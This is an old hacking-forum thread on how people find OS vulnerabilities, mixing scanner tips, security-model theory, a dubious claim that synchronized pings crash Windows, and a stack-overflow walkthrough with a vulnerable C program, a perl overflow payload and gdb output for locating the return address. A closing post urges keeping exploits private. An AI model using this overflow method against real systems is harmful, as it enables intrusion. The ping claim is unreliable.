Printable View
Hello all, I was wondering how do people find vulnerabilties in operating systems. I thought I ask because this question has been in the back of my head for a very long time. I mean do people sit there in front of a computer and just throw code at it or something?
Finding voulns is not something you do in ten minutes. Depeing on the OS, their is a number of ways. If you use Windows, theoretically it should be harder as you can't look at the source for it, but also, one way to look for them in Windows is to try things.
If you have Windows, mess around a bit....Well, after you do a back up, heh. If you have two computers, use one as your main box, and play with the other. If you have a P2P network going, have some fun trying to make the ping command on both machines. It can eb tricky, but if you can make each ping go at the exact same time, it should crash.
Also, learn the OSyou use inside and out. get as many books as you can about it and read. Learn the Windows registry, and learn how to use it. Look at exploits others have found and see if you can find it too. If you look at an exploit someone else has found, just find out how they found it and go from their.
After you copy the way someone else found one, you should be able to find your own.
If you have Linux, learn C and search the /src for possible exploits. If you think you found one, write some code and see if you can exploit it, then mail the proper people about it, and also let them know you have written code that will exploit it.
One way is to d/l a vulnerability scanner which scan's for some common vulnerabilities found. Another is to manually test your computer for vulnerabilities, open ports, service vulnerabilities, etc. Try going into DOS mode and typing nbtstat -a localhost to see if you have the netBIOS file system on. If so, some hacker's could use that to possibly access your files. Thas just one example, if you need more info PM me.
Doh!!! I forgot the scanner part!!!! *Slaps forhead*Quote:
Originally posted here by Spyder32
One way is to d/l a vulnerability scanner which scan's for some common vulnerabilities found. Another is to manually test your computer for vulnerabilities, open ports, service vulnerabilities, etc. Try going into DOS mode and typing nbtstat -a localhost to see if you have the netBIOS file system on. If so, some hacker's could use that to possibly access your files. Thas just one example, if you need more info PM me.
Ok, take what I posted, and add it to Spyder's, and you should have a good begining. Have fun!
Have a lot of fun, your SuSE team. <-- ;)
Haha, I remembered it because just earlier this week I did a scan on my Win98 test box and it stuck in my head. Gore's post was better, but just remember to get a scanner and have some fun finding the vulnerabilities. Good luck and have fun! :)Quote:
Doh!!! I forgot the scanner part!!!! *Slaps forhead*
Ok, take what I posted, and add it to Spyder's, and you should have a good begining. Have fun!
Have a lot of fun, your SuSE team. <--
I am reading the original poster's question as "How are vulnerabilities discovered?" which would be different than scanning for known weaknesses. the only scanner I know of that has actually discovered new vulnerabilities is Retina by eEye, all other scanners just search from a predefined database. (to the best of my memory anyhow)
Although vulnerabilities are most commonly by accident, methodologies do exist for executing a formalized vulnerability search. This tends to only be done on very high security, high assurance systems as they actually use correct reference monitors (aka security kernel - as defined by the TCSEC - 1983) that is:
1. Tamperproof
2. Minimalistic
3. Complete control over every access
On these systems (Which, of course utilize a microkernel architecture) the security model is first formally defined, then theoretical weaknesses are discovered and addressed.
On lower security systems like NT, although a security kernel does exist, it is too anemic (it's formal security model is insufficient) to prevent many application level and library attacks. Knowing this it is a simple matter of determining which applications have enough permissions to be usefully and then stress testing them until you can make it break in a predictable manner. Have you ever noticed how some closed source systems never seem to get hacked? Even by zero day attacks? If such a system uses a security kernel it allows the system custodian to understand where security issues are likely to occur and the system can be configured in such a manner to minimize/prevent the effects of the event a threat is ever realized in that area.
For even lower security systems like Linux which doesn't even have a security kernel since it is a monolithic architecture this task becomes even simpler. In Linux the super user and all it's processes exist completely outside the system's security policy (which of course is a serious violation of the aforementioned #3) which makes it the prime target of exploitation searching, in this instance the open source browsing takes the place of stress testing. Another area that Linux has issues with is the fact that the monolithic kernel lacks the required isolation tools, this means that essentially the entire OS is a valid target for attacks. This is a huge surface area and as such formal mapping and validating methods are simply not practical.
The first thing you should do is educate yourself on security models, this will help you understand the theoretical weaknesses of a system and where offensive efforts should be placed.
http://www.all.net/books/ip/Chap3-3.html
That link covers the basics of access control systems, which are the foundation of any security policy and will give you leads about what to look further into. The Bell-LaPadula is theoretically correct in that it will never release data to anyone it shouldn't and consequently is utilized in every high security system I know of. The others may or may not exist along side the Bell-LaPadula system (like the Biba and HRU for example) as it is merely a confidentiality model.
happy reading and feel free to ask any indepth questions, I tried to just give an overview. :)
catch
Are you talking about auditing code ? well you look for vulnerable functions or where bounds checking hasnt took place or there is heap overflows I suggest you learn C and ASM then you can try and overflow the buffer then there heap overflows one byte overflows etc
i will try and show an example of how to overflow a buffer and find the $RET i will be uisng an example vuln progrrame from buffer overflows for the kids
Ok here the code for kid.cCode:[prodikal@localhost bofs4kids]$ export KIDVULN=`perl -e '{print "A"x"1040"}'`
[prodikal@localhost test]$ gdb kid
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...bof: No such file or directory.
(gdb)run
Starting program: /home/prodikal/test/kid `perl -e '{print "A"x"1040"}'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info register esp
esp 0xbffff6b0 0xbffff6b0
(gdb) x/200bx $esp-200
0xbffff5e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff600: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff608: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff610: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff618: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff620: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff628: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff630: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff638: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff640: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff648: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff650: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff658: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff660: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff668: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff670: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff678: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff680: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff688: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff690: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff698: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---
0xbffff6a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
Ok what we done here was the vulnerabilty lied in strcpy(kidbuffer, (char *)getenv("KIDVULN"));Code:#include <stdio.h>
int main() {
char kidbuffer[1024];
if (getenv("KIDVULN") == NULL) {
fprintf(stderr, "Grow up!\n");
exit(1);
}
/* Read the environment variable data into the buffer */
strcpy(kidbuffer, (char *)getenv("KIDVULN"));
printf("Environment variable KIDVULN is:\n\"%s\".\n\n", kidbuffer);
printf("Isn't life wonderful in kindergarden?\n");
return 0;
}
so we export that to run `perl -e '{print "A"x"1040"}'` and when we run kid in gdbt it run's the perl command when it hits ("KIDVULN") in result it overflows the buffer the reason A is used because its hex representation is 0x41 and when i ran info register esp im asking gdb to tell me information in the register of esp (extended stack pointer) and then i ran x/200bx $esp-200 to see where the overflow started and ended this is how you find the $RET address where to execute you're shell code i cant be botherd writing code to exploit it but i advise you should write you're own theres example code in the paper but it you would learn more if you wrote it you're self the reason i explained this is because i got really confused when trying to find the return address
here is the paper this code and some info came from
http://fux0r.phathookups.com/whitepa...of-forkidz.txt
also google for smashing the stack for fun and profit
w00w00 on heap overflows
there just to name a few you will find a lot of papers if you just look
If any info i posted here was incorect i would apreciate some one correcting me because i have just started writing my own exploits and if im wrong i would really like to know
Im really **** at trying to explain things too
And remeber keep your exploits private dont release them to bugtraq packetstorm etc
all this info is all too good.. thanks for the great info